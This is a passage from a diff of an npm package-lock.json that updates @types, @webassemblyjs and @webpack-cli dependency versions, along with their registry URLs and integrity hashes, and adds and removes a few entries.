"node": ">=10.13.0" } }, "node_modules/@types/babel__core": { - "version": "7.1.19", - "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.19.tgz", - "integrity": "sha512-WEOTgRsbYkvA/KCsDwVEGkd7WAr1e3g31VHQ8zy5gul/V1qKullU/BU5I68X5v7V3GnB9eotmom4v5a5gjxorw==", + "version": "7.20.1", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.1.tgz", + "integrity": "sha512-aACu/U/omhdk15O4Nfb+fHgH/z3QsfQzpnvRZhYhThms83ZnAOZz7zZAWO7mn2yyNQaA4xTO8GLK3uqFU4bYYw==", "dev": true, "dependencies": { - "@babel/parser": "^7.1.0", - "@babel/types": "^7.0.0", + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", "@types/babel__generator": "*", "@types/babel__template": "*", "@types/babel__traverse": "*" @@ -3345,12 +3661,12 @@ } }, "node_modules/@types/babel__traverse": { - "version": "7.18.0", - "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.18.0.tgz", - "integrity": "sha512-v4Vwdko+pgymgS+A2UIaJru93zQd85vIGWObM5ekZNdXCKtDYqATlEYnWgfo86Q6I1Lh0oXnksDnMU1cwmlPDw==", + "version": "7.20.1", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.1.tgz", + "integrity": "sha512-MitHFXnhtgwsGZWtT68URpOvLN4EREih1u3QtQiN4VdAxWKRVvGCSvw/Qth0M0Qq3pJpnGOu5JaM/ydK7OGbqg==", "dev": true, "dependencies": { - "@babel/types": "^7.3.0" + "@babel/types": "^7.20.7" } }, "node_modules/@types/bn.js": { @@ -3361,21 +3677,16 @@ "@types/node": "*" } }, - "node_modules/@types/cacheable-request": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.2.tgz", - "integrity": "sha512-B3xVo+dlKM6nnKTcmm5ZtY/OL8bOAOd2Olee9M1zft65ox50OzjEHW91sDiU9j6cvW8Ejg1/Qkf4xd2kugApUA==", - "dependencies": { - "@types/http-cache-semantics": "*", - "@types/keyv": "*", - "@types/node": "*", - "@types/responselike": "*" - } + "node_modules/@types/css-font-loading-module": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/@types/css-font-loading-module/-/css-font-loading-module-0.0.7.tgz", + "integrity": "sha512-nl09VhutdjINdWyXxHWN/w9zlNCfr60JUqJbd24YXUuCwgeL0TpFSdElCwb6cxfB6ybE19Gjj4g0jsgkXxKv1Q==", + "license": "MIT" }, "node_modules/@types/eslint": { - "version": "8.4.1", - "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.4.1.tgz", - "integrity": "sha512-GE44+DNEyxxh2Kc6ro/VkIj+9ma0pO0bwv9+uHSyBrikYOHr8zYcdPvnBOp1aw8s+CjRvuSx7CyWqRrNFQ59mA==", + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-9.6.1.tgz", + "integrity": "sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag==", "dev": true, "dependencies": { "@types/estree": "*", @@ -3383,9 +3694,9 @@ } }, "node_modules/@types/eslint-scope": { - "version": "3.7.3", - "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.3.tgz", - "integrity": "sha512-PB3ldyrcnAicT35TWPs5IcwKD8S333HMaa2VVv4+wdvebJkjWuW/xESoB8IwRcog8HYVYamb1g/R31Qv5Bx03g==", + "version": "3.7.7", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.7.tgz", + "integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==", "dev": true, "dependencies": { "@types/eslint": "*", @@ -3393,30 +3704,26 @@ } }, "node_modules/@types/estree": { - "version": "0.0.51", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.51.tgz", - "integrity": "sha512-CuPgU6f3eT/XgKKPqKd/gLZV1Xmvf1a2R5POBOGQa6uv82xpls89HU5zKeVoyR8XzHd1RGNOlQlvUe3CFkjWNQ==", + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz", + "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", "dev": true }, "node_modules/@types/graceful-fs": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.5.tgz", - "integrity": "sha512-anKkLmZZ+xm4p8JWBf4hElkM4XR+EZeA2M9BAkkTldmcyDY4mbdIJnRghDJH3Ov5ooY7/UAoENtmdMSkaAd7Cw==", + "version": "4.1.6", + "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.6.tgz", + "integrity": "sha512-Sig0SNORX9fdW+bQuTEovKj3uHcUL6LQKbCrrqb1X7J6/ReAbhCXRAhc+SMejhLELFj2QcyuxmUooZ4bt5ReSw==", "dev": true, "dependencies": { "@types/node": "*" } }, - "node_modules/@types/http-cache-semantics": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", - "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" - }, "node_modules/@types/istanbul-lib-coverage": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", - "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", - "dev": true + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", + "dev": true, + "license": "MIT" }, "node_modules/@types/istanbul-lib-report": { "version": "3.0.0", @@ -3428,35 +3735,33 @@ } }, "node_modules/@types/istanbul-reports": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", - "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", + "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==", "dev": true, + "license": "MIT", "dependencies": { "@types/istanbul-lib-report": "*" } }, "node_modules/@types/jsdom": { - "version": "20.0.0", - "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-20.0.0.tgz", - "integrity": "sha512-YfAchFs0yM1QPDrLm2VHe+WHGtqms3NXnXAMolrgrVP6fgBHHXy1ozAbo/dFtPNtZC/m66bPiCTWYmqp1F14gA==", + "version": "21.1.7", + "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-21.1.7.tgz", + "integrity": "sha512-yOriVnggzrnQ3a9OKOCxaVuSug3w3/SbOj5i7VwXWZEyUNl3bLF9V3MfxGbZKuwqJOQyRfqXyROBB1CoZLFWzA==", "dev": true, + "license": "MIT", "dependencies": { "@types/node": "*", "@types/tough-cookie": "*", "parse5": "^7.0.0" } }, - "node_modules/@types/json-buffer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@types/json-buffer/-/json-buffer-3.0.0.tgz", - "integrity": "sha512-3YP80IxxFJB4b5tYC2SUPwkg0XQLiu0nWvhRgEatgjf+29IcWO9X1k8xRv5DGssJ/lCrjYTjQPcobJr2yWIVuQ==" - }, "node_modules/@types/json-schema": { - "version": "7.0.9", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", - "dev": true + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" }, "node_modules/@types/json5": { "version": "0.0.29", @@ -3464,41 +3769,11 @@ "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==", "dev": true }, - "node_modules/@types/keyv": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", - "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/minimist": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.2.tgz", - "integrity": "sha512-jhuKLIRrhvCPLqwPcx6INqmKeiA5EWrsCOPhrlFSrbrmU4ZMPjj5Ul/oLCMDO98XRUIwVm78xICz4EPCektzeQ==", - "dev": true, - "optional": true, - "peer": true - }, "node_modules/@types/node": { "version": "16.11.6", "resolved": "https://registry.npmjs.org/@types/node/-/node-16.11.6.tgz", "integrity": "sha512-ua7PgUoeQFjmWPcoo9khiPum3Pd60k4/2ZGXt18sm2Slk0W0xZTqt5Y0Ny1NyBiN1EVQ/+FaF9NcY4Qe6rwk5w==" }, - "node_modules/@types/normalize-package-data": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.1.tgz", - "integrity": "sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/@types/parse-json": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", - "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==", - "dev": true - }, "node_modules/@types/pbkdf2": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/@types/pbkdf2/-/pbkdf2-3.1.0.tgz", @@ -3507,20 +3782,6 @@ "@types/node": "*" } }, - "node_modules/@types/prettier": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.0.tgz", - "integrity": "sha512-RI1L7N4JnW5gQw2spvL7Sllfuf1SaHdrZpCHiBlCXjIlufi1SMNnbu2teze3/QE67Fg2tBlH7W+mi4hVNk4p0A==", - "dev": true - }, - "node_modules/@types/responselike": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.0.tgz", - "integrity": "sha512-85Y2BjiufFzaMIlvJDvTTB8Fxl2xfLo4HgmHzVBz08w4wDePCTjYw66PdrolO0kzli3yam/YCgRufyo1DdQVTA==", - "dependencies": { - "@types/node": "*" - } - }, "node_modules/@types/secp256k1": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/@types/secp256k1/-/secp256k1-4.0.3.tgz", @@ -3530,22 +3791,33 @@ } }, "node_modules/@types/stack-utils": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz", - "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw==", - "dev": true + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", + "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==", + "dev": true, + "license": "MIT" }, "node_modules/@types/tough-cookie": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.2.tgz", - "integrity": "sha512-Q5vtl1W5ue16D+nIaW8JWebSSraJVlK+EthKn7e7UcD4KWsaSJ8BqGPXNaPghgtcn/fhvrN17Tv8ksUsQpiplw==", - "dev": true + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.5.tgz", + "integrity": "sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/ws": { + "version": "8.5.3", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.3.tgz", + "integrity": "sha512-6YOoWjruKj1uLf3INHH7D3qTXwFfEsg1kf3c0uDdSBJwfa/llkwIjrAGV7j7mVgGNbzTQ3HiHKKDXl6bJPD97w==", + "dependencies": { + "@types/node": "*" + } }, "node_modules/@types/yargs": { - "version": "17.0.11", - "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.11.tgz", - "integrity": "sha512-aB4y9UDUXTSMxmM4MH+YnuR0g5Cph3FLQBoWoMB21DSvFVAxRVEHEMx3TLh+zUZYMCQtKiqazz0Q4Rre31f/OA==", + "version": "17.0.33", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.33.tgz", + "integrity": "sha512-WpxBCKWPLr4xSsHgz511rFJAM+wS28w2zEO1QDNY5zM/S8ok70NNfztH0xwhqKyaK0OHCbN98LDAZuy1ctxDkA==", "dev": true, + "license": "MIT", "dependencies": { "@types/yargs-parser": "*" } @@ -3802,180 +4074,188 @@ } }, "node_modules/@webassemblyjs/ast": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.1.tgz", - "integrity": "sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.14.1.tgz", + "integrity": "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==", "dev": true, "dependencies": { - "@webassemblyjs/helper-numbers": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1" + "@webassemblyjs/helper-numbers": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2" } }, "node_modules/@webassemblyjs/floating-point-hex-parser": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz", - "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz", + "integrity": "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==", "dev": true }, "node_modules/@webassemblyjs/helper-api-error": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz", - "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz", + "integrity": "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==", "dev": true }, "node_modules/@webassemblyjs/helper-buffer": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz", - "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz", + "integrity": "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==", "dev": true }, "node_modules/@webassemblyjs/helper-numbers": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz", - "integrity": "sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz", + "integrity": "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==", "dev": true, "dependencies": { - "@webassemblyjs/floating-point-hex-parser": "1.11.1", - "@webassemblyjs/helper-api-error": "1.11.1", + "@webassemblyjs/floating-point-hex-parser": "1.13.2", + "@webassemblyjs/helper-api-error": "1.13.2", "@xtuc/long": "4.2.2" } }, "node_modules/@webassemblyjs/helper-wasm-bytecode": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz", - "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz", + "integrity": "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==", "dev": true }, "node_modules/@webassemblyjs/helper-wasm-section": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz", - "integrity": "sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz", + "integrity": "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==", "dev": true, "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-buffer": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/wasm-gen": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/wasm-gen": "1.14.1" } }, "node_modules/@webassemblyjs/ieee754": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz", - "integrity": "sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz", + "integrity": "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==", "dev": true, "dependencies": { "@xtuc/ieee754": "^1.2.0" } }, "node_modules/@webassemblyjs/leb128": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.1.tgz", - "integrity": "sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.13.2.tgz", + "integrity": "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==", "dev": true, "dependencies": { "@xtuc/long": "4.2.2" } }, "node_modules/@webassemblyjs/utf8": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.1.tgz", - "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==", + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.13.2.tgz", + "integrity": "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==", "dev": true }, "node_modules/@webassemblyjs/wasm-edit": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz", - "integrity": "sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz", + "integrity": "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==", "dev": true, "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-buffer": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/helper-wasm-section": "1.11.1", - "@webassemblyjs/wasm-gen": "1.11.1", - "@webassemblyjs/wasm-opt": "1.11.1", - "@webassemblyjs/wasm-parser": "1.11.1", - "@webassemblyjs/wast-printer": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/helper-wasm-section": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-opt": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1", + "@webassemblyjs/wast-printer": "1.14.1" } }, "node_modules/@webassemblyjs/wasm-gen": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz", - "integrity": "sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz", + "integrity": "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==", "dev": true, "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/ieee754": "1.11.1", - "@webassemblyjs/leb128": "1.11.1", - "@webassemblyjs/utf8": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" } }, "node_modules/@webassemblyjs/wasm-opt": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz", - "integrity": "sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz", + "integrity": "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==", "dev": true, "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-buffer": "1.11.1", - "@webassemblyjs/wasm-gen": "1.11.1", - "@webassemblyjs/wasm-parser": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1" } }, "node_modules/@webassemblyjs/wasm-parser": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz", - "integrity": "sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz", + "integrity": "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==", "dev": true, "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-api-error": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/ieee754": "1.11.1", - "@webassemblyjs/leb128": "1.11.1", - "@webassemblyjs/utf8": "1.11.1" + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-api-error": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" } }, "node_modules/@webassemblyjs/wast-printer": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz", - "integrity": "sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg==", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz", + "integrity": "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==", "dev": true, "dependencies": { - "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/ast": "1.14.1", "@xtuc/long": "4.2.2" } }, "node_modules/@webpack-cli/configtest": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.2.0.tgz", - "integrity": "sha512-4FB8Tj6xyVkyqjj1OaTqCjXYULB9FMkqQ8yGrZjRDrYh0nOE+7Lhs45WioWQQMV+ceFlE368Ukhe6xdvJM9Egg==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-3.0.1.tgz", + "integrity": "sha512-u8d0pJ5YFgneF/GuvEiDA61Tf1VDomHHYMjv/wc9XzYj7nopltpG96nXN5dJRstxZhcNpV1g+nT6CydO7pHbjA==", "dev": true, + "engines": { + "node": ">=18.12.0" + }, "peerDependencies": { - "webpack": "4.x.x || 5.x.x", - "webpack-cli": "4.x.x" + "webpack": "^5.82.0", + "webpack-cli": "6.x.x" } }, "node_modules/@webpack-cli/info": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-1.5.0.tgz", - "integrity": "sha512-e8tSXZpw2hPl2uMJY6fsMswaok5FdlGNRTktvFk2sD8RjH0hE2+XistawJx1vmKteh4NmGmNUrp+Tb2w+udPcQ==", + "version": "3.0.1", + 